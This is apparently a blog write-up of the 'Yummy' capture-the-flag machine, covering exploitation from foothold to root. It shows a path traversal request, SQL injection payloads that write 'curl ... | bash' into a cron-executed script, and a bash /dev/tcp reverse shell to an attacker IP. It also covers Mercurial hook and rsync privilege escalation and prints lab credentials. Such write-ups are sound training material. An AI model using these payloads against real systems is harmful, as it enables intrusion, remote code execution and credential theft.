0xW1LD

Logo

Just some 0xW1LD stuff...

View My GitHub Profile

25 February 2025

Yummy

by 0xW1LD

Yummy

Enumeration

we find the following ports open:

1
2
3
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Gaining Foothold

Port 80 has an http server running what seems to be a web app for booking appointments for a restaurant. image Looking around we can register an account, login, and create bookings, none of which seem to be vulnerable to SQLi or XSS on inital testing.

Register page:
image
Login page:
image
Booking page:
image Once we book a table an entry appears in the dashboard of the user with the corressponding email: image Intercepting the Save ICalendar button shows export an interesting endpoint that downloads files: image which we can use to trigger a LFI:

1
2
GET /export/../../../../../../../../../../etc/passwd HTTP/1.1
<SNIP>

Which gets us /etc/passwd

1
2
3
4
5
6
7
<SNIP>
dev:x:1000:1000:dev:/home/dev:/bin/bash
mysql:x:110:110:MySQL Server,,,:/nonexistent:/bin/false
caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
postfix:x:111:112::/var/spool/postfix:/usr/sbin/nologin
qa:x:1001:1001::/home/qa:/bin/bash
_laurel:x:996:987::/var/log/laurel:/bin/false

Attempting to read ssh keys for users: qa and dev nothing there. However, I am able to find /etc/crontab which gives us more files to take a look at:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
  17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
  25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
  47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
  52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
  */1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
  */15 * * * * mysql /bin/bash /data/scripts/table_cleanup.sh
  * * * * * mysql /bin/bash /data/scripts/dbmonitor.sh

app_backup.sh gives us the directory of the backup files:

1
2
3
4
5
#!/bin/bash

cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app

Downloading the backup files we find database credentials in app.py

chef:3wDo7gSRZIwIHRxZ!

and an admin panel location:

/admindashboard

which requires authentication.

Looking deeper into the code I notice that the way it authenticates is vulnerable as it looks for the value: "administrator" from the validation:

1
2
3
4
def admindashboard():
        validation = validate_login()
        if validation != "administrator":
            return redirect(url_for('login'))

in the validate_login() function we see that it returns email

1
2
3
4
5
6
7
8
9
10
11
def validate_login():
    try:
        (email, current_role), status_code = verify_token()
        if email and status_code == 200 and current_role == "administrator":
            return current_role
        elif email and status_code == 200:
            return email
        else:
            raise Exception("Invalid token")
    except Exception as e:
        return None

The site validates email input through the frontend, however if we interecept the Register and Login requests we can change the email to administrator

which grants us access to the admin panel:

image

Looking back at the code we notice that the parameter o is directly inputed into an SQL query:

1
2
3
4
                # added option to order the reservations
                order_query = request.args.get('o', '')

                sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"

which we can abuse by inputting the parameter in the url:

1
http://yummy.htb/admindashboard?s=edu&o=ASC' OR 1=1

image SQL query output is not visible however errors are, which we can validate through this url SQLi:

1
http://yummy.htb/admindashboard?s=&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))

image Checking if there’s a table named users through this url SQLi:

1
http://yummy.htb/admindashboard?s=edu&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (select group_concat(table_name) from information_schema.tables where table_name='users')))

image

keep in mind, the error above wouldn’t show if the users table didn’t exist.

Grabbing user columns using this url SQLI:

1
http://yummy.htb/admindashboard?s=edu&o=ASC; SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (select group_concat(column_name) from information_schema.columns where table_name='users')))

image

Looking around further, we can use the following link with SQLi to deduce that we have an arbitrary file read:

1
http://yummy.htb/admindashboard?s=&o=ASC;%20SELECT%20%27foo%27%20WHERE%201=1%20AND%20EXTRACTVALUE(1,%20CONCAT(0x5c,%20(select%20@@secure_file_priv)))

Which returns:

image

indicating that we can write anything on path \\ which means we can write anywhere on the system.

Looking back at /etc/crontab we notice dbmonitor.sh, using the LFI we found earlier we can check the contents of dbmonitor.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
 
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
 
if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi
 
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

We notice that it checks for dbstatus.json and if it doesn’t fit what it’s looking for then it triggers scripts off the latest version using a regex: fixer-v*

Using this we can clear out dbstatus.json with:

1
http://yummy.htb/admindashboard?s=&o=ASC;select+"curl+10.10.14.5/rev.sh+|bash;"+INTO+OUTFILE++'/data/scripts/dbstatus.json'; 

and then write a script that matches the regular expression using a payload:

1
http://yummy.htb/admindashboard?s=&o=ASC;select+"curl+10.10.14.5/rev.sh+|bash;"+INTO+OUTFILE++'/data/scripts/fixer-vSHELL';

And after some time we get a shell:

MySQL

1
2
3
4
5
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:49988.
bash: cannot set terminal process group (2017): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$

Seeing that app_backup.sh is run by www-data we can upgrade our shell by writing a new file called rev2.sh:

1
bash -i >&/dev/tcp/10.10.14.5/8001 0>&1

grabbing that file, and replacing app_backup.sh, we can use mv since we have write access in the directory:

1
2
3
4
mysql@yummy
$ wget 10.10.14.5/rev2.sh
$ mv app_backup.sh app_backup.bak
$ mv rev2.sh app_backup.sh

we wait for the cron job and get a shell:

WWW-DATA

1
2
3
4
5
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:55190.
bash: cannot set terminal process group (2713): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$

we find /var/www/app-qatesting/.hg has the following credentials:

qa:jPAd!XQCtn8Oc@2B

we can SSH!:

1
2
$ssh qa@yummy.htb
qa@yummy:~$

Privilege Escalation

qa has the following sudo privileges:

1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

hg is a command like tool for mercurial a source control management tool similar to git. One of the files: .hgrc can have a [hooks] section. According to

mercurial

hooks are:

1
Commands or Python functions that get automatically executed by various actions such as starting or finishing a commit. Multiple hooks can be run for the same action by appending a suffix to the action. Overriding a site-wide hook can be done by changing its value or setting it to an empty string. Hooks can be prioritized by adding a prefix of priority. to the hook name on a new line and setting the priority. The default priority is 0.

So we write /tmp/rev.sh, we write it in tmp so both qa and dev have access to it.

then we write a directory .hg with hgrc(copied from /home/qa/.hgrc):

1
2
[hooks]
post-pull = /tmp/rev.sh

lastly execute the command as dev:

1
$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

We have a callback as dev:

1
2
3
4
5
6
7
# nc -lvnp 9001                                                                                                                                       Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.36.
Ncat: Connection from 10.10.11.36:42634.
I'm out of office until January 29th, don't call me
dev@yummy:/tmp$

Transferring ssh keys to get a more stable shell. checking sudo -l once again we see we have rsync on the app into /opt using this we can copy /bin/bash and set the sticky execution bit, and execute rsync with --chown root:root to make the bash have root as it’s owner.

1
$ sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/

just like that, we have root!

tags: os/linux - diff/hard